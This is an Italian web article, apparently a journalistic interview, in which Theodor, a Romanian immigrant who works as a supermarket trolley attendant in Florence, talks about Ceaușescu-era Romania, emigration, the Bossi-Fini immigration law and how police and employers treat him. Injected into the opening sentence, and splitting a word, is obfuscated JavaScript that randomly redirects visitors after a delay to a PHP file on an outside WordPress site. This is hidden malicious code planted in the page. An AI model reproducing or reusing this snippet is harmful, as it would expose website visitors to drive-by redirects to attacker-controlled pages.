La scelta di Theodor

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Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando uno snodato serpentone di carrelli, nel clamore dell’acciaio, attraversa viale Giannotti, davanti all’Esselunga, dietro probabilmente c’è Theodor, detto Dorelli. Ha 37 anni, ed è rumeno. Lavora per una cooperativa sociale che offre servizi ai supermercati. Nel 1991 è arrivato in Italia, garantito da un parente.

Come si sta in Romania? “Stavamo meglio prima. La povertà non esisteva, ed eravamo tutti uguali. I privilegiati c’erano: i gerarchi, e i loro amici e parenti, ma gli altri erano uguali, nessuno dormiva per strada, nessuno chiedeva l’elemosina. Adesso, con la democrazia, i privilegiati ci sono ancora, e in più ci sono tanti poveri, gente che dorme sui marciapiedi. Prima invece, un lavoro l’avevano tutti. Anzi, dovevi avere un lavoro: se non avevi un lavoro ti arrestavano” Ma allora perché? “Ceacescu ha stretto un po’ troppo la cintura”.
La democrazia l’ha deluso: povertà, fame, necessità di emigrare, da solo. “Avevo 25 anni, una moglie e il primo figlio, che mi hanno raggiunto dopo, a Ladispoli”. Che faceva in Romania? “Lavoravo come cameriere nelle carrozze ristorante. Manicure ogni settimana, pettinato, composto, scarpe pulite” Si è pentito di essere emigrato? “Certo che mi sono pentito, e una volta con mia moglie abbiamo preso la macchina e siamo partiti, per tornare. Ma la vergogna è troppo grande, dicono che te ne sei andato via, che hai mollato tutto per cercare fortuna e che non sei stato capace di trovare nulla. Un giorno torneremo, quando i figli avranno studiato. Uno fa la scuola per odontotecnici, è un buon mestiere, deve terminare”.
Dorelli però, guarda le macchine, quelle scure, di grossa cilindrata, fuma sigarette americane, e vorrebbe un telefonino più leggero. Capitalismo e consumismo sanno come lusingare…
La Bossi Fini? “è una legge sbagliata, 15 anni di lavoro per avere dei diritti è un tempo troppo lungo. Eppoi io conosco gente che non lavora ma ha il permesso di soggiorno, e gente che invece lavora duro, non ha un permesso, viene trovata nei controlli e rispedita a casa. Non è giusto che un immigrato sia cacciato se sta lavorando. Ci trattano come animali. Andate a vedere in questura: ci sono due aree, una per i cittadini dell’Unione Europea e una per gli immigrati. Noi ci trattano male, ci urlano, a loro invece no, con loro sono civili educati e gentili. E se noi protestassimo, se ci azzardassimo, ci picchierebbero”.
Sindacati, partiti, altri immigrati, movimenti sociali. Dorelli confessa di non avere manifestato contro la Bossi Fini “Se m’invitassero a manifestare io manifesterei. Ma io qui in Italia non ho diritti, non voto.”
La Legge Italiana: Dorelli si fida? “No, la legge dà sempre ragione a chi ha soldi. I miei datori di lavoro di prima m’hanno fregato: mi hanno pagato come aiuto cucina mentre io ero minestraio, aiuto cuoco. I sindacati mi hanno detto che mi devono restituire 6000 euro, ma io non vorrei fare causa, ho paura che non mi rinnovino il permesso, di avere una segnalazione, e di perdere la causa: meglio mettersi d’accordo. Sono andato spesso a reclamare di persona, loro mi dicono che ho ragione, però poi non mi chiamano, non si fanno vivi”.

E gli italiani, sono razzisti? “Alcuni si. Ma molti sono gentili. Insomma c’è di tutto. Certo però starei meglio a casa mia, con la mia famiglia. Qui a causa della mia faccia “da marocchino” la polizia mi ferma per strada. Ma io sono sempre educato, e nessuno può dire male di me finchè ho il permesso di soggiorno, lavoro duro e sono gentile”.

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